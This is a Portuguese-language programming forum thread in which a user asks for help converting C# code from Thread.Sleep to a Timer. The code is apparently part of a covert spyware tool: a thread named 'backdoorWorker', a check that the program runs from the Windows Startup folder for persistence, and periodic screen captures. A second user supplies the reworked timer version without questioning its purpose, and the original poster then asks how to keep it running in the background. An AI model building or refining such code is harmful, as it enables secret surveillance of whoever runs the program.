Moneybag Posted February 5, 2014 at 07:06 PM Report #544106 Posted February 5, 2014 at 07:06 PM Boas pessoal Como o timer é mais eficiente e tem mais precisão alguém me pode ajudar a trocar um codigo que usa thread.sleep para um timer ? Thread backdoorWorker; int cicleSeconds = 60000; public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { auto_copy(); } private void auto_copy() { string actualLocation = Application.ExecutablePath; string targetLocation = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ProductName.ToString() + ".exe"; if (actualLocation == targetLocation) { backdoorWorker = new Thread(background); backdoorWorker.Start(); } else { Environment.Exit(0); } } private void background() { while (run == true) //variavel run funciona so para manter o ciclo a funcionar { Thread.Sleep(cicleSeconds); takePrintscreen(); } }
nelsonr Posted February 5, 2014 at 08:29 PM Report #544114 Posted February 5, 2014 at 08:29 PM Não sei quanto a isso do timer ser mais eficiente e ter mais precisão,. Podes adicionar o componente do timer ao form e fazer duplo click para criar o evento. O código poderá ser algo assim: private void auto_copy() { string actualLocation = Application.ExecutablePath; string targetLocation = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ProductName.ToString() + ".exe"; if (actualLocation == targetLocation) { timer1.Interval = cicleSeconds * 1000; timer1.Enabled = true; } else { Environment.Exit(0); } } private void timer1_Tick(object sender, EventArgs e) { if(run) { takePrintscreen(); } else { timer1.Enabled = false; } }
Moneybag Posted February 7, 2014 at 05:24 PM Author Report #544381 Posted February 7, 2014 at 05:24 PM Não sei quanto a isso do timer ser mais eficiente e ter mais precisão,. Podes adicionar o componente do timer ao form e fazer duplo click para criar o evento. O código poderá ser algo assim: private void auto_copy() { string actualLocation = Application.ExecutablePath; string targetLocation = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ProductName.ToString() + ".exe"; if (actualLocation == targetLocation) { timer1.Interval = cicleSeconds * 1000; timer1.Enabled = true; } else { Environment.Exit(0); } } private void timer1_Tick(object sender, EventArgs e) { if(run) { takePrintscreen(); } else { timer1.Enabled = false; } } mas preciso de executar o timer1_tick em processo de background
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now